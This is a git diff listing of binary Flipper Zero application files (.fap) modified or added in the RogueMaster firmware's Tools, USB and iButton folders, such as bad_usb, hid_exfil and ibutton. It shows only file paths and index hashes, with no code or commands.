Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/tasks.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/tasks.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/time_tracker.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/time_tracker.fap index deb501cb0..e45ab0e76 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/time_tracker.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/time_tracker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/tone_gen.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/tone_gen.fap index 3f2b37253..a41ef3d40 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/tone_gen.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/tone_gen.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/vin_decoder.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/vin_decoder.fap index 315796500..6d00319a4 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/vin_decoder.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/vin_decoder.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/voltcalc_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/voltcalc_app.fap index 52c6242f9..450e59f98 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/voltcalc_app.fap and b/Applications/Custom (UL, RM)/RogueMaster/Tools/voltcalc_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/bad_duck3.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/bad_duck3.fap index fd940ba7c..686fe425b 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/bad_duck3.fap and b/Applications/Custom (UL, RM)/RogueMaster/USB/bad_duck3.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/bad_usb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/bad_usb.fap index 4b355a605..6e96fac38 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/bad_usb.fap and b/Applications/Custom (UL, RM)/RogueMaster/USB/bad_usb.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/badusb_pro.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/badusb_pro.fap new file mode 100644 index 000000000..958bb1139 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/badusb_pro.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/ccid_emulator.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/ccid_emulator.fap new file mode 100644 index 000000000..21594774a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/ccid_emulator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/chameleon_ultra.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/chameleon_ultra.fap index 8a723ee14..8d1b40a81 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/chameleon_ultra.fap and b/Applications/Custom (UL, RM)/RogueMaster/USB/chameleon_ultra.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/claude_remote_usb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/claude_remote_usb.fap new file mode 100644 index 000000000..16d4aed12 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/claude_remote_usb.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/flip_tdi.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/flip_tdi.fap index 28e2f0c0b..54527b29c 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/flip_tdi.fap and b/Applications/Custom (UL, RM)/RogueMaster/USB/flip_tdi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/flipdeck.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/flipdeck.fap new file mode 100644 index 000000000..06ca5e031 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/flipdeck.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/gatekeeper.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/gatekeeper.fap new file mode 100644 index 000000000..94b6eb0f1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/gatekeeper.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/hid_exfil.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/hid_exfil.fap new file mode 100644 index 000000000..31f04d6e4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/USB/hid_exfil.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/hid_usb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/hid_usb.fap index 292e7a738..79296410a 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/hid_usb.fap and b/Applications/Custom (UL, RM)/RogueMaster/USB/hid_usb.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/ldtoypad.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/ldtoypad.fap index 07f92b16b..d005c2c2e 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/ldtoypad.fap and b/Applications/Custom (UL, RM)/RogueMaster/USB/ldtoypad.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/mass_storage.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/mass_storage.fap index e9e63ebaf..ab86e24ae 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/mass_storage.fap and b/Applications/Custom (UL, RM)/RogueMaster/USB/mass_storage.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/mtp.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/mtp.fap index 0c27f1823..73ed855b4 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/mtp.fap and b/Applications/Custom (UL, RM)/RogueMaster/USB/mtp.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/portal_of_flipper.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/portal_of_flipper.fap index 7278bf8af..12b67773d 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/portal_of_flipper.fap and b/Applications/Custom (UL, RM)/RogueMaster/USB/portal_of_flipper.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/switch_controller.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/switch_controller.fap index e7f40a4eb..8ad8779d4 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/switch_controller.fap and b/Applications/Custom (UL, RM)/RogueMaster/USB/switch_controller.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_ccb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_ccb.fap index c04acac3b..b68a4d376 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_ccb.fap and b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_ccb.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_hid_autofire.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_hid_autofire.fap index 1c576854a..ea21c1351 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_hid_autofire.fap and b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_hid_autofire.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton.fap b/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton.fap index 11b527b6d..abb99c428 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton.fap and b/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton_converter.fap b/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton_converter.fap index e66b4fdd2..63c419e4c 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton_converter.fap and b/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton_converter.fap differ